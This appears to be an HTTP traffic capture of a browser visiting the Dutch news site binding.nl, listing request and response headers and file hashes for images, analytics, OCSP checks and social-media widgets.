via: 1.1 8f22423015641505b8c857a37450d6c0.cloudfront.net (CloudFront), 1.1 d8792dbd3191bbe722eba5b536b979c8.cloudfront.net (CloudFront), 1.1 google
date: Sun, 27 Nov 2022 22:01:16 GMT
age: 31773
etag: "075531f525e625b117b2497f31139c9824d0e9c5"
cache-control: max-age=3600,public,public
alt-svc: clear
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 296x148, components 3\012- data
Size:   9430
Md5:    1f434933b5bd6377d299ada22d1ae7ef
Sha1:   075531f525e625b117b2497f31139c9824d0e9c5
Sha256: b587a3249e4f20112088608e3651c2ccbc44225a5c9d88d3bf5884d7f0e9029c
                                        
                                            GET /296x148/filters:format(jpeg):quality(60):no_upscale():strip_exif()/https%3A%2F%2Fs3.amazonaws.com%2Fpocket-curatedcorpusapi-prod-images%2F9f14adca-9ca8-4ff4-8a3e-4620f8c1e8f8.jpeg HTTP/1.1 
Host: img-getpocket.cdn.mozilla.net
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Origin: null
Connection: keep-alive
Sec-Fetch-Dest: image
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

search
                                         34.120.237.76
HTTP/2 200 OK
content-type: image/jpeg
                                        
server: nginx
content-length: 8568
x-amzn-requestid: da2726a2-20ad-4201-b4e9-3de9be88a485
x-xss-protection: 1; mode=block
access-control-allow-origin: *
strict-transport-security: max-age=63072000; includeSubdomains; preload
x-frame-options: DENY
content-security-policy: default-src 'none'; img-src 'self'; script-src 'self'; style-src 'self'; object-src 'none'
x-amz-apigw-id: cR7-BHcUIAMFieA=
x-content-type-options: nosniff
x-amzn-trace-id: Root=1-6383d9f3-370921803a9de7e627682c94;Sampled=0
x-amzn-remapped-date: Sun, 27 Nov 2022 21:43:15 GMT
x-amz-cf-pop: HIO50-C1, SEA19-C2
x-cache: Hit from cloudfront
x-amz-cf-id: MqWCYm26OnmydU-vE7YdPyUvmcS2Q9uqWJnG_0wOMymdkGJjI7tR6Q==
via: 1.1 2afae0d44e2540f472c0635ab62c232a.cloudfront.net (CloudFront), 1.1 324a68a6c25ee50d774953f3e15a611c.cloudfront.net (CloudFront), 1.1 google
date: Sun, 27 Nov 2022 22:19:39 GMT
age: 30670
etag: "16096289cd354fada56dbb3f2d75d406ae8ab62f"
cache-control: max-age=3600,public,public
alt-svc: clear
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 296x148, components 3\012- data
Size:   8568
Md5:    13f4c2b3410532b6c756990f1759da46
Sha1:   16096289cd354fada56dbb3f2d75d406ae8ab62f
Sha256: 9894d998a884f2b5637bd12b0cd3df556835ea7a3134eb0f516fc03e3d31c26c
                                        
                                            GET /296x148/filters:format(jpeg):quality(60):no_upscale():strip_exif()/https%3A%2F%2Fs3.amazonaws.com%2Fpocket-curatedcorpusapi-prod-images%2F17eed5ca-e7b1-43be-b937-69356fce9d8a.jpeg HTTP/1.1 
Host: img-getpocket.cdn.mozilla.net
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Origin: null
Connection: keep-alive
Sec-Fetch-Dest: image
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

search
                                         34.120.237.76
HTTP/2 200 OK
content-type: image/jpeg
                                        
server: nginx
content-length: 4708
x-amzn-requestid: 6efd15cd-c944-42e7-8142-01360fbe4a25
x-xss-protection: 1; mode=block
access-control-allow-origin: *
strict-transport-security: max-age=63072000; includeSubdomains; preload
x-frame-options: DENY
content-security-policy: default-src 'none'; img-src 'self'; script-src 'self'; style-src 'self'; object-src 'none'
x-amz-apigw-id: cR6_JFbXIAMFc_g=
x-content-type-options: nosniff
x-amzn-trace-id: Root=1-6383d860-3c7d91eb7a2f3a9669f89d88;Sampled=0
x-amzn-remapped-date: Sun, 27 Nov 2022 21:36:32 GMT
x-amz-cf-pop: HIO50-C1, SEA19-C2
x-cache: Hit from cloudfront
x-amz-cf-id: GDQn-_Np3qSCYR2kQJnoh6j3-aS25bPTNl13D6MkZpF1fkOhokkFbA==
via: 1.1 41e349e25dc4bc856d0e5d2c162428a0.cloudfront.net (CloudFront), 1.1 b2f9564ebf9c745cc2ceae96d434977e.cloudfront.net (CloudFront), 1.1 google
date: Sun, 27 Nov 2022 22:02:24 GMT
age: 31705
etag: "a73feecd0e221f7c7a3b74b75aeaa81bd9baa1da"
cache-control: max-age=3600,public,public
alt-svc: clear
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 296x148, components 3\012- data
Size:   4708
Md5:    4060284252d32701c42e2df4a83970a0
Sha1:   a73feecd0e221f7c7a3b74b75aeaa81bd9baa1da
Sha256: 53eca0f8435d6e2e62962ef80d4597afad2773a582746d523f7f5d30c3e07b8e
                                        
                                            GET /296x148/filters:format(jpeg):quality(60):no_upscale():strip_exif()/https%3A%2F%2Fs3.amazonaws.com%2Fpocket-curatedcorpusapi-prod-images%2Fd56d2fad-ed89-4d96-831f-7f8467b7079b.jpeg HTTP/1.1 
Host: img-getpocket.cdn.mozilla.net
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Origin: null
Connection: keep-alive
Sec-Fetch-Dest: image
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

search
                                         34.120.237.76
HTTP/2 200 OK
content-type: image/jpeg
                                        
server: nginx
content-length: 10119
x-amzn-requestid: 20bfd6a6-2981-42ca-8997-9363676773c1
x-xss-protection: 1; mode=block
access-control-allow-origin: *
strict-transport-security: max-age=63072000; includeSubdomains; preload
x-frame-options: DENY
content-security-policy: default-src 'none'; img-src 'self'; script-src 'self'; style-src 'self'; object-src 'none'
x-amz-apigw-id: cR782HEZIAMFTKQ=
x-content-type-options: nosniff
x-amzn-trace-id: Root=1-6383d9eb-552581a92a69d6cd322bf334;Sampled=0
x-amzn-remapped-date: Sun, 27 Nov 2022 21:43:07 GMT
x-amz-cf-pop: HIO50-C1, SEA19-C2
x-cache: Hit from cloudfront
x-amz-cf-id: U_gitOWWMPO7M5Dd0WktaigfRERa93d86MhziLjZ2qnuON_K5NauyQ==
via: 1.1 e5af640ced3aa8764b82c4bc3f7af38e.cloudfront.net (CloudFront), 1.1 d6b180eb367f7de26d67a9f3901b96a6.cloudfront.net (CloudFront), 1.1 google
date: Sun, 27 Nov 2022 21:54:37 GMT
age: 32172
etag: "9a3ca698ca1aeae695923277ed2244465e01a1ea"
cache-control: max-age=3600,public,public
alt-svc: clear
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 296x148, components 3\012- data
Size:   10119
Md5:    15bd53848c7082464273007e010c54e0
Sha1:   9a3ca698ca1aeae695923277ed2244465e01a1ea
Sha256: 36cfa29965173ea683992d4b436f393e92c978350347f869355d933613e2c005
                                        
                                            GET /296x148/filters:format(jpeg):quality(60):no_upscale():strip_exif()/https%3A%2F%2Fs3.amazonaws.com%2Fpocket-curatedcorpusapi-prod-images%2Fd6c93814-fbc2-4f60-a417-7cb6ff99a2ef.jpeg HTTP/1.1 
Host: img-getpocket.cdn.mozilla.net
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Origin: null
Connection: keep-alive
Sec-Fetch-Dest: image
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

search
                                         34.120.237.76
HTTP/2 200 OK
content-type: image/jpeg
                                        
server: nginx
content-length: 6263
x-amzn-requestid: 5c3da401-eb9e-4904-a7e9-5e74648b8b77
x-xss-protection: 1; mode=block
access-control-allow-origin: *
strict-transport-security: max-age=63072000; includeSubdomains; preload
x-frame-options: DENY
content-security-policy: default-src 'none'; img-src 'self'; script-src 'self'; style-src 'self'; object-src 'none'
x-amz-apigw-id: cR6_KFfWoAMF99A=
x-content-type-options: nosniff
x-amzn-trace-id: Root=1-6383d860-3110d65625e883502a5078a9;Sampled=0
x-amzn-remapped-date: Sun, 27 Nov 2022 21:36:32 GMT
x-amz-cf-pop: HIO50-C1, SEA19-C2
x-cache: Hit from cloudfront
x-amz-cf-id: EpU6HS6f0BpRceJVfwhBhOgKMTMvdMZj4ST9DMATiqfA10pNplyPtQ==
via: 1.1 41e349e25dc4bc856d0e5d2c162428a0.cloudfront.net (CloudFront), 1.1 6172bb1a5d00a3b06ae3700570ebe116.cloudfront.net (CloudFront), 1.1 google
date: Sun, 27 Nov 2022 21:51:04 GMT
age: 32385
etag: "c033d1ecdb9e7640f3df044e39053bed8292fcbc"
cache-control: max-age=3600,public,public
alt-svc: clear
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 296x148, components 3\012- data
Size:   6263
Md5:    b24e349e9d22fb30fbc80497b512cead
Sha1:   c033d1ecdb9e7640f3df044e39053bed8292fcbc
Sha256: 2d77e3c39c60a3563613b1ba97ec0b1a256f41ad09936ba49b23d8cf22f8a7a8
                                        
                                            GET /widgets/widget_iframe.644279d1635fd969e87af94a98bd232b.html?origin=https%3A%2F%2Fwww.binding.nl HTTP/1.1 
Host: platform.twitter.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.binding.nl/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: iframe
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site

search
                                         93.184.220.66
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
                                        
Content-Encoding: gzip
Access-Control-Allow-Methods: GET
Access-Control-Allow-Origin: *
Age: 2190596
Cache-Control: public, max-age=315360000
Date: Mon, 28 Nov 2022 06:50:49 GMT
Etag: "50d73c0b4a4c7e4697b9c6ac6f1ecd75+gzip"
Last-Modified: Wed, 02 Nov 2022 19:36:59 GMT
P3P: CP="CAO DSP LAW CURa ADMa DEVa TAIa PSAa PSDa IVAa IVDa OUR BUS IND UNI COM NAV INT"
Server: ECS (ska/F71D)
Server-Timing: x-cache;desc= HIT,x-tw-cdn;desc=,edge;dur=1
Vary: Accept-Encoding
X-Cache: HIT
x-tw-cdn: VZ
Content-Length: 105445


--- Additional Info ---
Magic:  HTML document text\012- HTML document text\012- HTML document text\012- exported SGML document, ASCII text, with very long lines (56168)
Size:   105445
Md5:    2b4968b185495eddda0d85b2351ebb71
Sha1:   c665785ca0f4039f8c71d94631cd50a879d866b5
Sha256: eb8af089d8082a58a6e90fedc23007f17a9e89ddbc6a29b6e535e4847ba94160
                                        
                                            POST / HTTP/1.1 
Host: ocsp.digicert.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 83
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

search
                                         93.184.220.29
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Accept-Ranges: bytes
Age: 5346
Cache-Control: max-age=149600
Date: Mon, 28 Nov 2022 06:50:49 GMT
Etag: "6383eac7-1d7"
Expires: Wed, 30 Nov 2022 00:24:09 GMT
Last-Modified: Sun, 27 Nov 2022 22:55:03 GMT
Server: ECS (ska/F70A)
X-Cache: HIT
Content-Length: 471

                                        
                                            GET /v1/urls/count.json?callback=WPCOMSharing.update_pinterest_count&url=https%3A%2F%2Fwww.binding.nl%2F HTTP/1.1 
Host: api.pinterest.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.binding.nl/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site

search
                                         151.101.84.84
HTTP/2 200 OK
content-type: application/javascript
                                        
x-content-type-options: nosniff
access-control-allow-origin: *
expires: Mon, 28 Nov 2022 07:05:49 GMT
x-envoy-upstream-service-time: 1
cache-control: no-cache, no-store, must-revalidate
age: 0
set-cookie: _ir=0; Max-Age=1800; HttpOnly; Path=/; Secure
x-pinterest-rid: 1360352826307812
date: Mon, 28 Nov 2022 06:50:49 GMT
x-cdn: fastly
alt-svc: h3=":443";ma=600,h3-29=":443";ma=600,h3-27=":443";ma=600
content-length: 80
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  ASCII text, with no line terminators
Size:   80
Md5:    89382c3d34f471398eb4db740e164782
Sha1:   015257cbb6583f73acb6e5315f03bd7145197c50
Sha256: 3c803f420825ef1accf84e1d81218eb4f8a01d747d3c4f4cc109478e82a60aee
                                        
                                            POST / HTTP/1.1 
Host: ocsp.digicert.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 83
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

search
                                         93.184.220.29
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Accept-Ranges: bytes
Age: 5278
Cache-Control: max-age=160692
Date: Mon, 28 Nov 2022 06:50:49 GMT
Etag: "6384165f-1d7"
Expires: Wed, 30 Nov 2022 03:29:01 GMT
Last-Modified: Mon, 28 Nov 2022 02:01:03 GMT
Server: ECS (ska/F70A)
X-Cache: HIT
Content-Length: 471

                                        
                                            GET /modules.e1bdbadbcc63daea6270.js HTTP/1.1 
Host: script.hotjar.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.binding.nl/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site

search
                                         143.204.55.96
HTTP/2 200 OK
content-type: application/javascript
                                        
content-length: 68720
date: Thu, 24 Nov 2022 08:09:06 GMT
accept-ranges: bytes
access-control-allow-origin: *
cache-control: max-age=31536000
content-encoding: br
cross-origin-resource-policy: cross-origin
etag: "53db6c810ee48127f87a9c79e206fc67"
last-modified: Thu, 24 Nov 2022 08:08:08 GMT
strict-transport-security: max-age=2592000; includeSubDomains
x-content-type-options: nosniff
x-robots-tag: none
vary: Accept-Encoding
x-cache: Hit from cloudfront
via: 1.1 814e8c24454087e83cd261a6cf477166.cloudfront.net (CloudFront)
x-amz-cf-pop: OSL50-C1
x-amz-cf-id: v-xrhqUnsigfB0QHLhLSZ5MGvATcKCO-i_OGbXxAlL9UnmwUNuaAsw==
age: 340903
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  Unicode text, UTF-8 text, with very long lines (48714)
Size:   68720
Md5:    53db6c810ee48127f87a9c79e206fc67
Sha1:   aa53e521ba10b23524afc519c6e6ba8d1eb5147c
Sha256: f89c4d3c17828a5c54ecc60f5107e2bfe92cb8b4622fb766fda6d1fca1c95fdd
                                        
                                            POST / HTTP/1.1 
Host: ocsp.digicert.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 83
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

search
                                         93.184.220.29
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Accept-Ranges: bytes
Age: 5555
Cache-Control: max-age=172092
Date: Mon, 28 Nov 2022 06:50:49 GMT
Etag: "638441d2-139"
Expires: Wed, 30 Nov 2022 06:39:01 GMT
Last-Modified: Mon, 28 Nov 2022 05:06:26 GMT
Server: ECS (ska/F70A)
X-Cache: HIT
Content-Length: 313

                                        
                                            GET /nl_NL/sdk.js?hash=f74a0eeee33c505a0cc74cd5b46ca704 HTTP/1.1 
Host: connect.facebook.net
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Origin: https://www.binding.nl
Connection: keep-alive
Referer: https://www.binding.nl/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

search
                                         31.13.72.12
HTTP/2 200 OK
content-type: application/x-javascript; charset=utf-8
                                        
vary: Accept-Encoding
content-encoding: gzip
access-control-expose-headers: X-FB-Content-MD5
x-fb-content-md5: 4dd92e07b60dfbd0ccc0c19eccf5d485
etag: "4777e71e31615c192a4b4546347fa9a2"
timing-allow-origin: *
access-control-allow-origin: *
cross-origin-resource-policy: cross-origin
expires: Tue, 28 Nov 2023 05:55:38 GMT
cache-control: public,max-age=31536000,stale-while-revalidate=3600,immutable
document-policy: force-load-at-top
cross-origin-opener-policy: same-origin-allow-popups
x-content-type-options: nosniff
x-fb-rlafr: 0
x-frame-options: DENY
strict-transport-security: max-age=31536000; preload; includeSubDomains
content-md5: mVc1IKvci8RK0XqiA/4bZw==
x-fb-debug: cojNmhJD6x/aqNfH1dMKAAyWqMvyxskD2W6p4VRWywa116/skJ8oWGOVHkfIejk+wEz4ht7hN0paa6AIVI2i/w==
content-length: 88401
x-fb-trip-id: 1904183273
date: Mon, 28 Nov 2022 06:50:49 GMT
alt-svc: h3=":443"; ma=86400
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  ASCII text, with very long lines (18530)
Size:   88401
Md5:    99573520abdc8bc44ad17aa203fe1b67
Sha1:   b8db7993a0798b77bfb2c1ec99919e11f23b3d13
Sha256: 1091220e99aae1d96fd11e22c1d4fe56ab2f357ad512e86ab2e8cf8b67195c36
                                        
                                            POST /matomo.php?action_name=Binding%20%7C%20D%C3%A9%20nieuws-%20en%20advertentiesite%20voor%20Wervershoof%2C%20Onderdijk%2C%20Zwaagdijk-Oost%2C%20Andijk%20en%20Hauwert&idsite=4&rec=1&r=359888&h=6&m=50&s=49&url=https%3A%2F%2Fwww.binding.nl%2F&_id=21578c36ffe98c04&_idn=1&send_image=0&_refts=0&cookie=1&res=1280x1024&pv_id=ySGNvK&pf_net=95&pf_srv=45&pf_tfr=33&pf_dm1=2064 HTTP/1.1 
Host: tracking.dbgmhost.nl
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Content-Length: 0
Origin: https://www.binding.nl
Connection: keep-alive
Referer: https://www.binding.nl/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         75.119.144.45
HTTP/2 204 No Content
                                        
server: nginx
date: Mon, 28 Nov 2022 06:50:49 GMT
access-control-allow-origin: https://www.binding.nl
access-control-allow-credentials: true
x-powered-by: PHP/7.4.33, PleskLin
X-Firefox-Spdy: h2

                                        
                                            GET /settings?session_id=98b4b9a0a5a718b585b675292b847351e8c2bd57 HTTP/1.1 
Host: syndication.twitter.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://platform.twitter.com/
Origin: https://platform.twitter.com
Connection: keep-alive
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

search
                                         104.244.42.8
HTTP/2 200 OK
content-type: application/json; charset=utf-8
                                        
date: Mon, 28 Nov 2022 06:50:49 GMT
perf: 7626143928
vary: Origin
server: tsa_o
cache-control: must-revalidate, max-age=600
last-modified: Mon, 28 Nov 2022 06:50:50 GMT
content-length: 374
content-encoding: gzip
x-transaction-id: c8e4bad12ff53b5a
strict-transport-security: max-age=631138519
access-control-allow-origin: https://platform.twitter.com
access-control-allow-credentials: true
x-response-time: 107
x-connection-hash: 0f3506dea51d02d2fd466092eeb1aeb9e4f38bcbd30a0448f8d05da872bad403
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  JSON data\012- , ASCII text, with very long lines (913), with no line terminators
Size:   374
Md5:    925c2a7587f39436ea29513221652474
Sha1:   695b7f2f3d99f407bcdfd0b372db0e28193cc60c
Sha256: 62e36e14e5c219119cb51c3cdf43a2005512a1bd6ebf2d68d0c610a2e6e3ef0f
                                        
                                            GET /box-5e66f98b4ee957db209dc6f63e3d59dd.html HTTP/1.1 
Host: vars.hotjar.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.binding.nl/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: iframe
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site

search
                                         143.204.55.105
HTTP/2 200 OK
content-type: text/html
                                        
content-length: 1035
date: Wed, 23 Nov 2022 13:10:06 GMT
accept-ranges: bytes
cache-control: max-age=31536000
content-encoding: br
cross-origin-embedder-policy: require-corp
cross-origin-resource-policy: cross-origin
etag: "e0652b84b7b3b650769c759fc520c3f8"
last-modified: Wed, 23 Nov 2022 13:09:18 GMT
strict-transport-security: max-age=2592000; includeSubDomains
x-robots-tag: none
vary: Accept-Encoding
x-cache: Hit from cloudfront
via: 1.1 80d21802b1b80c40e55ccf83433b8eac.cloudfront.net (CloudFront)
x-amz-cf-pop: OSL50-C1
x-amz-cf-id: hhJgIQmBe58OSE_W_-sKwsUqS4nPIGkUSvC1Sxlg170Pv2VKsHJNJg==
age: 409244
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  HTML document text\012- HTML document text\012- HTML document text\012- HTML document text\012- exported SGML document, ASCII text, with very long lines (2368), with no line terminators
Size:   1035
Md5:    e0652b84b7b3b650769c759fc520c3f8
Sha1:   0b55d6e28613350c7f41b88f19e726e6751ad03b
Sha256: 94b4c240f83065223dcacdd3f8b69cb229d0616edc3e2041eef3e270d859fc3d
                                        
                                            GET /analytics.js HTTP/1.1 
Host: www.google-analytics.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.binding.nl/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site

search
                                         142.250.74.174
HTTP/2 200 OK
content-type: text/javascript
                                        
strict-transport-security: max-age=10886400; includeSubDomains; preload
x-content-type-options: nosniff
vary: Accept-Encoding
content-encoding: gzip
cross-origin-resource-policy: cross-origin
server: Golfe2
content-length: 20039
date: Mon, 28 Nov 2022 06:41:08 GMT
expires: Mon, 28 Nov 2022 08:41:08 GMT
cache-control: public, max-age=7200
age: 582
last-modified: Tue, 27 Sep 2022 22:01:05 GMT
alt-svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  ASCII text, with very long lines (1325)
Size:   20039
Md5:    47e6f374ca946fddd5b59871b325736c
Sha1:   baa9282efc8785e84d247c3bff518eaa45f101c4
Sha256: 16580b5c87c58e5702e411f1888fdef511094e4cd6d62bb47d16291ffb25985e
                                        
                                            GET /v2.3/plugins/page.php?app_id=249643311490&channel=https%3A%2F%2Fstaticxx.facebook.com%2Fx%2Fconnect%2Fxd_arbiter%2F%3Fversion%3D46%23cb%3Df3e61f233ef8444%26domain%3Dwww.binding.nl%26is_canvas%3Dfalse%26origin%3Dhttps%253A%252F%252Fwww.binding.nl%252Ff375ff44698ab2a%26relation%3Dparent.parent&container_width=510&height=1000&hide_cover=false&hide_cta=false&href=https%3A%2F%2Fwww.facebook.com%2Fdebinding%2F&locale=nl_NL&sdk=joey&show_facepile=true&small_header=true&tabs=false&width=500 HTTP/1.1 
Host: www.facebook.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.binding.nl/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: iframe
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site

search
                                         31.13.72.36
HTTP/2 302 Found
content-type: text/html; charset="utf-8"
                                        
location: https://www.facebook.com/login/?next=https%3A%2F%2Fwww.facebook.com%2Fplugins%2Fpage.php%3Fapp_id%3D249643311490%26channel%3Dhttps%253A%252F%252Fstaticxx.facebook.com%252Fx%252Fconnect%252Fxd_arbiter%252F%253Fversion%253D46%2523cb%253Df3e61f233ef8444%2526domain%253Dwww.binding.nl%2526is_canvas%253Dfalse%2526origin%253Dhttps%25253A%25252F%25252Fwww.binding.nl%25252Ff375ff44698ab2a%2526relation%253Dparent.parent%26container_width%3D510%26height%3D1000%26hide_cover%3Dfalse%26hide_cta%3Dfalse%26href%3Dhttps%253A%252F%252Fwww.facebook.com%252Fdebinding%252F%26locale%3Dnl_NL%26sdk%3Djoey%26show_facepile%3Dtrue%26small_header%3Dtrue%26tabs%3Dfalse%26width%3D500
content-security-policy-report-only: default-src data: blob: 'self' https://*.fbsbx.com 'unsafe-inline' *.facebook.com 'unsafe-eval' *.fbcdn.net;script-src *.facebook.com *.fbcdn.net *.facebook.net *.google-analytics.com *.google.com 127.0.0.1:* 'unsafe-inline' 'unsafe-eval' blob: data: 'self' connect.facebook.net;style-src fonts.googleapis.com *.fbcdn.net data: *.facebook.com 'unsafe-inline';connect-src *.facebook.com facebook.com *.fbcdn.net *.facebook.net wss://*.facebook.com:* wss://*.whatsapp.com:* wss://*.fbcdn.net attachment.fbsbx.com ws://localhost:* blob: *.cdninstagram.com 'self' http://localhost:3103 wss://gateway.facebook.com wss://edge-chat.facebook.com wss://snaptu-d.facebook.com wss://kaios-d.facebook.com/ v.whatsapp.net *.fbsbx.com *.fb.com;font-src data: *.gstatic.com *.facebook.com *.fbcdn.net *.fbsbx.com;img-src *.fbcdn.net *.facebook.com data: https://*.fbsbx.com *.tenor.co media.tenor.com facebook.com *.cdninstagram.com fbsbx.com fbcdn.net *.giphy.com connect.facebook.net *.carriersignal.info blob: android-webview-video-poster: googleads.g.doubleclick.net www.googleadservices.com *.whatsapp.net *.fb.com *.oculuscdn.com;media-src *.cdninstagram.com blob: *.fbcdn.net *.fbsbx.com www.facebook.com *.facebook.com https://*.giphy.com data:;frame-src *.doubleclick.net *.google.com *.facebook.com www.googleadservices.com *.fbsbx.com fbsbx.com data: www.instagram.com *.fbcdn.net https://paywithmybank.com;worker-src blob: *.facebook.com data:;report-uri https://www.facebook.com/csp/reporting/?minimize=0;
content-security-policy: default-src data: blob: 'self' https://*.fbsbx.com 'unsafe-inline' *.facebook.com 'unsafe-eval' *.fbcdn.net;script-src *.facebook.com *.fbcdn.net *.facebook.net *.google-analytics.com *.google.com 127.0.0.1:* 'unsafe-inline' 'unsafe-eval' blob: data: 'self' connect.facebook.net;style-src fonts.googleapis.com *.fbcdn.net data: *.facebook.com 'unsafe-inline';connect-src *.facebook.com facebook.com *.fbcdn.net *.facebook.net wss://*.facebook.com:* wss://*.whatsapp.com:* wss://*.fbcdn.net attachment.fbsbx.com ws://localhost:* blob: *.cdninstagram.com 'self' http://localhost:3103 wss://gateway.facebook.com wss://edge-chat.facebook.com wss://snaptu-d.facebook.com wss://kaios-d.facebook.com/ v.whatsapp.net *.fbsbx.com *.fb.com;font-src data: *.gstatic.com *.facebook.com *.fbcdn.net *.fbsbx.com;img-src *.fbcdn.net *.facebook.com data: https://*.fbsbx.com *.tenor.co media.tenor.com facebook.com *.cdninstagram.com fbsbx.com fbcdn.net *.giphy.com connect.facebook.net *.carriersignal.info blob: android-webview-video-poster: googleads.g.doubleclick.net www.googleadservices.com *.whatsapp.net *.fb.com *.oculuscdn.com;media-src *.cdninstagram.com blob: 